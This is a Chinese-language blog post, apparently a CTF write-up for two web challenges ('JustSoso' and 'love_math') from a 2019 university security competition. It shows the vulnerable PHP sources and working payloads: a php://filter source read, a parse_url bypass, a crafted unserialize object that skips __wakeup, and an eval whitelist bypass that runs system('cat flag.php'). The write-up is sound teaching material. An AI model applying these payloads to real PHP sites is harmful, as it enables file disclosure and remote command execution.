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2019全国大学生信息安全竞赛部分Web writeup

JustSoso

 

0x01

审查元素发现了提示,伪协议拿源码

/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

 1 <?php
 2 error_reporting(0);
 3 $file = $_GET["file"];
 4 $payload = $_GET["payload"];
 5 if (!isset($file)) {
 6     echo 'Missing parameter' . '<br>';
 7 }
 8 if (preg_match("/flag/", $file)) {
 9     die('hack attacked!!!');
10 }
11 @include ($file);
12 if (isset($payload)) {
13     $url = parse_url($_SERVER['REQUEST_URI']);
14     parse_str($url['query'], $query);
15     foreach ($query as $value) {
16         if (preg_match("/flag/", $value)) {
17             die('stop hacking!');
18             exit();
19         }
20     }
21     $payload = unserialize($payload);
22 } else {
23     echo "Missing parameters";
24 } ?>

/index.php?file=php://filter/read=convert.base64-encode/resource=hint.php

 1 <?php  
 2 class Handle{ 
 3     private $handle;  
 4     public function __wakeup(){
 5   foreach(get_object_vars($this) as $k => $v) {
 6             $this->$k = null;
 7         }
 8         echo "Waking up\n";
 9     }
10  public function __construct($handle) { 
11         $this->handle = $handle; 
12     } 
13  public function __destruct(){
14   $this->handle->getFlag();
15  }
16 }
17 
18 class Flag{
19     public $file;
20     public $token;
21     public $token_flag;
22  
23     function __construct($file){
24   $this->file = $file;
25   $this->token_flag = $this->token = md5(rand(1,10000));
26     }
27     
28  public function getFlag(){
29   $this->token_flag = md5(rand(1,10000));
30         if($this->token === $this->token_flag)
31   {
32    if(isset($this->file)){
33     echo @highlight_file($this->file,true); 
34             }  
35         }
36     }
37 }
38 ?>
 
0x02

这里用到了parse_url函数在解析url时存在的bug

使用///index.php的方式使其返回false,从而绕过了后面的正则匹配

 
0x03
构造反序列化

$handle由private修饰,所以要在Handle两边加上%00

O:6:"Handle":1:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

_wakeup()绕过

反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过_wakeup()的执行

O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

最终payload为:

///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

 


 

love_math

 

0x01

审查元素,在js代码中发现calc,php,访问得到源码

 1 <?php 
 2 error_reporting(0); 
 3 //听说你很喜欢数学,不知道你是否爱它胜过爱flag 
 4 if(!isset($_GET['c'])){ 
 5     show_source(__FILE__); 
 6 }else{ 
 7     //例子 c=20-1 
 8     $content = $_GET['c']; 
 9     if (strlen($content) >= 80) { 
10         die("太长了不会算"); 
11     } 
12     $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; 
13     foreach ($blacklist as $blackitem) { 
14         if (preg_match('/' . $blackitem . '/m', $content)) { 
15             die("请不要输入奇奇怪怪的字符"); 
16         } 
17     } 
18     //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp 
19     $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; 
20     preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 
21     foreach ($used_funcs[0] as $func) { 
22         if (!in_array($func, $whitelist)) { 
23             die("请不要输入奇奇怪怪的函数"); 
24         } 
25     } 
26     //帮你算出答案 
27     eval('echo '.$content.';'); 
28 } 

 

0x02

经过分析:

有长度限制,不能超过80

虽然有/m,但是\r在黑名单中,所以不存在换行绕过

传给c的参数不能是字母,只允许使用白名单的函数作字符串

要用白名单中的函数将数字转成字母,发现base_convert()和dechex()两个函数

 

0x03

最终payload:

c=$pow%3Dbase_convert(37907361743,10,36)(dechex(1598506324));($$pow){0}(($$pow){1})&0=system&1=cat%20flag.php

解释如下:

dechex(1598506324)得到的是_GET进行hex编码的值

base_convert(37907361743,10,36)得到的是函数hex2bin

c的值定义了$pow=_GET,那么$$pow=$_GET

最后执行的代码为$_GET{system}($_GET{cat flag.php})

 

posted @ 2019-04-23 21:59  PaperPen  阅读(1489)  评论(0编辑  收藏  举报